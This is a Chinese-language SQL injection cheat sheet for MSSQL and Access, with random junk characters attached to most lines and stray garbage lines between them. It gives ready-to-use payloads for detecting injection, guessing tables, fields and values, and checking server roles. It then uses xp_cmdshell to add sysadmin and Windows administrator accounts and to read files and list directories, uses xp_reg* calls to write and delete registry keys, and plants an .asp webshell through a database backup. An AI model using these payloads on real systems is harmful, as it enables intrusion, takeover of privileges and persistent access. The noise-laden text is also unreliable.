1.判断是否有注入;and 1=1 ;and 1=2 uMvb-8
2.初步判断是否是mssql ;and user>0 []zua14F6
[>f]@>
3.注入参数是字符'and [查询条件] and ''=' 6gnbkpYi
&f-hG3/M
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ND5$bq Nu?
\@K~L4>
5.判断数据库系统 gw^'{b
V>Fesm"aq
;and (select count(*) from sysobjects)>0 mssql %t*[T
~h!
13!
;and (select count(*) from msysobjects)>0 access GX
}q9
zzJja/mp
vg)Z]F=t(
:=*}htP4C
6.猜数据库 ;and (select Count(*) from [数据库名])>0 KVN"XqE4
[[WF0q
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !;v.>.lw
OUI6
ax\[
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 g\Ak;03n
9#qeFBI
9.(1)猜字段的ascii值(access) "k:=Y7Dx
F)SP aC4
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]3ifdGk
aE)by-'
(2)猜字段的ascii值(mssql) T/l1qcf`wT
Lg4YED9#
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 /ylc*3e'4
9[VxskEh
10.测试权限结构(mssql) /1d<P! H
"UG
K8x
&J$##B
(u&`Ij9
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- OX\$ nQ\o
W\8Ln>
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Z(e^ iH
?qmp_2:WU
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _'!kuE,*1
F PR`tE
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- UV AJxqz%}
/[=E0_t+
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- I[d]!YI}F
|yKud
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- N|K4{Frm
uwmQ?LS]V
;and 1=(select IS_MEMBER('db_owner'));-- TTZe$>f
~aTKG|74
<jA105U"m>
tU@zhGb
11.添加mssql和系统的帐户 nlc.u}#
-tLO.JK<
;exec master.dbo.sp_addlogin username;--
c5% 6Y2W0
;exec master.dbo.sp_password null,username,password;-- e,gyQjJR
QJGKQ2^ n
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- |(%zb\#9
5l{Ts04k%
;exec master.dbo.xp_cmdshell 'net user username password Kct@87z
!wE}(0BTx
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Z7a945Jd
ldqLM
;exec master.dbo.xp_cmdshell 'net user username password /add';-- FwG!>
<RXw M6G2
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- pQa:pX
' cIEc1y
/7"I#U^u/
[k<1`z3
12.(1)遍历目录 {tiKH=&J
[}z,J"Un
;create table dirs(paths varchar(100), id int) M4yI`dr6
vFv3'b$;G
;insert dirs exec master.dbo.xp_dirtree 'c:\' I&VTW8jB
)[Z!*a m
;and (select top 1 paths from dirs)>0 h6:#!Rg
wT,R0~V0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) b:W-l?
E4z)Mr#
6.WceWBR
>''U
(2)遍历目录 <vV_%uoM
aYn^)6^
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- K > g[k_
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }G
VX>p
JRaq!/[(
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 YHXLv#8
nz]&a1"&
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 i)a%!1Ar
u=x+J=AH
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 d+eZub94U
}UwO<#
tc+WWDP#"
I\O\,yPhhP
13.mssql中的存储过程 3uWkc3
4?\:{1X=
xp_regenumvalues 注册表根键, 子键 49H+(*@v@
!69&Ld
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 zi@]83SS#
cVnJ^*Z
xp_regread 根键,子键,键值名 /] ^#b
GL$De,V
;exec xp_regread X{xBYZv4
#%0Bx3uM
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 W~1~k{A
avQJPB)}Sb
xp_regwrite 根键,子键, 值名, 值类型, 值 ^x>Qf(b
Z @ dC+0[=
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 , t5 '
$;N* c H~
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4<dcB@v
*cuuzi&
xp_regdeletevalue 根键,子键,值名 E
H:T
FzQTDu9
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 'k0[rDFc#3
!9Z r;K~\
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 DyJ.BQdk)
AlE8Xu9UB
\_V-A f{6
/P|fB]p
14.mssql的backup创建webshell Fb`a~c~s
<7SpEVQ
use model t_^X$pL
Fb22p6r
create table cmd(str image); Hmt^h(*/2
[epi#]m
insert into cmd(str) values (''); *a;@*
%
2$/JZ
backup database model to disk='c:\l.asp'; >{gPN"S"a
S8[=S
Dl(3wgA
JxE53ev
15.mssql内置函数 y$FW$Ka
IJYL s
;and (select @@version)>0 获得Windows的版本号 zi R5:d3
#6Fez`A
;and user_name()='dbo' 判断当前系统的连接用户是不是sa M5nWVK7c
ryF7
;and (select user_name())>0 爆当前系统的连接用户 ,YTIC8qKr
3$.deYa$R
;and (select db_name())>0 得到当前连接的数据库 x3jb%`o#!
]H-S,lmV
3.22"U\1:
0"2=n.##
16.简洁的webshell kpL@P oQ/r
dm0QcW4
use model )[0T16
+zXEYc
create table cmd(str image); Dd;Nz
(?_S6HE
insert into cmd(str) values (''); qmO6,T-|
@1*ohdHH
backup database model to disk='g:\wwwtest\l.asp';